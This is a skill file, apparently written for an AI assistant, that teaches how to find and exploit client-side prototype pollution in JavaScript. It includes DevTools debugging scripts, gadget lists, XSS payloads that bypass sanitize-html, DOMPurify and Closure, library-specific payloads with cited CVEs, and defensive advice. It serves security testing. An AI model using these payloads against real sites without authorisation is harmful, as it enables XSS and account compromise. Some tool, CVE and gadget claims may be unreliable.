client-side-prototype-pollution

name

client-side-prototype-pollution

description

How to discover, debug, and exploit client-side prototype pollution vulnerabilities in JavaScript applications. Use this skill whenever the user mentions prototype pollution, __proto__, constructor.prototype, Object.prototype, or wants to find XSS via prototype pollution in web applications. Also use when debugging JavaScript vulnerabilities, analyzing JS libraries for pollution sinks, or when the user needs to generate prototype pollution payloads for security testing.

Client-Side Prototype Pollution

A skill for discovering, debugging, and exploiting client-side prototype pollution vulnerabilities in JavaScript applications.

When to Use This Skill

Use this skill when:

• The user wants to find prototype pollution vulnerabilities in a web application
• The user needs to debug where a polluted property is being set or accessed
• The user wants to generate payloads for testing prototype pollution
• The user is analyzing JavaScript libraries for pollution sinks
• The user needs to understand how to bypass HTML sanitizers via prototype pollution
• The user mentions __proto__, constructor.prototype, Object.prototype, or similar patterns

Discovery Methods

Automated Tools

Use these tools to automatically detect prototype pollution:

Tool	Purpose	Link
ppfuzz	Fuzzes for prototype pollution	https://github.com/dwisiswant0/ppfuzz
ppmap	Maps pollution paths	https://github.com/kleiton0x00/ppmap
proto-find	Finds vulnerable code	https://github.com/kosmosec/proto-find
PPScan	Browser extension for scanning	https://github.com/msrkp/PPScan
Burp DOM Invader	Professional tool with PP tab	Built into Burp Suite v2023.6+
protoStalker	Chrome DevTools plugin (2024)	Visualizes prototype chains

Manual Discovery

Search for these keywords in Chrome DevTools:

• location.hash
• location.search
• decodeURIComponent
• JSON.parse
• Object.assign
• _.merge (lodash)
• deepMerge

Debugging Prototype Pollution

Break on Property Access

Use this script in Chrome DevTools to find where a property is accessed:

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
  __proto__: null,
  get() {
    console.trace()
    return "test"
  },
})

Find Root Cause

1. Get a payload from a tool (e.g., constructor[prototype][ppmap]=reserved)
2. Set breakpoint at first line of JS code
3. Refresh page with payload
4. Run this script in console:

function debugAccess(obj, prop, debugGet = true) {
  var origValue = obj[prop]

  Object.defineProperty(obj, prop, {
    get: function () {
      if (debugGet) debugger
      return origValue
    },
    set: function (val) {
      debugger
      origValue = val
    },
  })
}

debugAccess(Object.prototype, "ppmap")

5. Resume execution and examine the call stack
6. Target stacks in library files (not minified app code)
7. The first occurrence in the stack is usually the root cause

Finding Gadgets

A gadget is code that gets abused once pollution is discovered.

Search for These Keywords

• srcdoc
• innerHTML
• iframe
• createElement
• eval
• Function
• setTimeout
• setInterval

Browser-Built-In Gadgets (2023+)

These work on every page in modern browsers:

Gadget Class	Property	Effect
URL	href	JS execution via new URL()
Notification	title	Alert via notification click
Worker	name	JS in dedicated Worker
Image	src	Traditional onerror XSS
URLSearchParams	toString	DOM-based Open Redirect

Example: URL Gadget

// Pollute the href property
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Trigger the gadget
new URL('#'); // Executes the polluted href

HTML Sanitizer Bypasses

sanitize-html

// Pollute before sanitizer runs
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';

DOMPurify

// Pollute before sanitizer runs
Object.prototype.after = '<img/src/onerror=alert(1)>';

Closure Library

<script>
  Object.prototype['* ONERROR'] = 1;
  Object.prototype['* SRC'] = 1;
</script>
<script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script>
<script>
  goog.require('goog.html.sanitizer.HtmlSanitizer');
  goog.require('goog.dom');
</script>
<script>
  const html = '<img src onerror=alert(1)>';
  const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
  const sanitized = sanitizer.sanitize(html);
  const node = goog.dom.safeHtmlToNode(sanitized);
  document.body.append(node);
</script>

Payload Generation

Common Payload Patterns

// Basic pollution
__proto__[polluted]=1
constructor[prototype][polluted]=1

// For URL parameters
?__proto__[polluted]=1
?constructor[prototype][polluted]=1

// For JSON input
{"__proto__": {"polluted": 1}}
{"constructor": {"prototype": {"polluted": 1}}}

// For location.hash
#__proto__[polluted]=1

Library-Specific Payloads

lodash < 4.17.22:

__proto__[polluted]=1

jQuery 3.6.0-3.6.3:

// Via location.hash
#__proto__[polluted]=1

DOMPurify ≤ 3.0.8:

__proto__[after]=<img/src/onerror=alert(1)>

Notable CVEs

CVE	Library	Version	Impact
CVE-2024-45801	DOMPurify	≤ 3.0.8	Stored XSS via after
CVE-2023-26136	jQuery	3.6.0-3.6.3	Arbitrary prototype pollution
CVE-2023-26140	jQuery	3.6.0-3.6.3	Arbitrary prototype pollution
N/A	sanitize-html	< 2.8.1	XSS via innerHTML

Defensive Measures

For Developers

1. Freeze prototypes early:

   Object.freeze(Object.prototype);
   Object.freeze(Array.prototype);
   Object.freeze(Map.prototype);
   

2. Use structuredClone() instead of deep merge:

   const copy = structuredClone(obj);
   

3. Use safe merge libraries:

   • lodash ≥ 4.17.22
   • deepmerge ≥ 5.3.0

4. Add Content-Security-Policy:

   Content-Security-Policy: script-src 'self';
   

For Security Testers

1. Always test with and without the skill to compare results
2. Document the exact pollution path (source → sink)
3. Verify the gadget actually executes (not just pollution)
4. Check for stored vs reflected vs DOM-based vectors

Workflow

1. Discover - Use automated tools or manual search
2. Debug - Find where pollution occurs using breakpoints
3. Identify Gadget - Find code that reads polluted properties
4. Generate Payload - Create working exploit
5. Verify - Confirm execution (alert, network request, etc.)
6. Document - Record the full chain for reporting

References

• PortSwigger Research: https://portswigger.net/research/widespread-prototype-pollution-gadgets
• BlackFan Client-Side PP: https://github.com/BlackFan/client-side-prototype-pollution
• Securitum Research: https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/
• Snyk DOMPurify CVE: https://snyk.io/blog/dompurify-prototype-pollution-bypass-cve-2024-45801/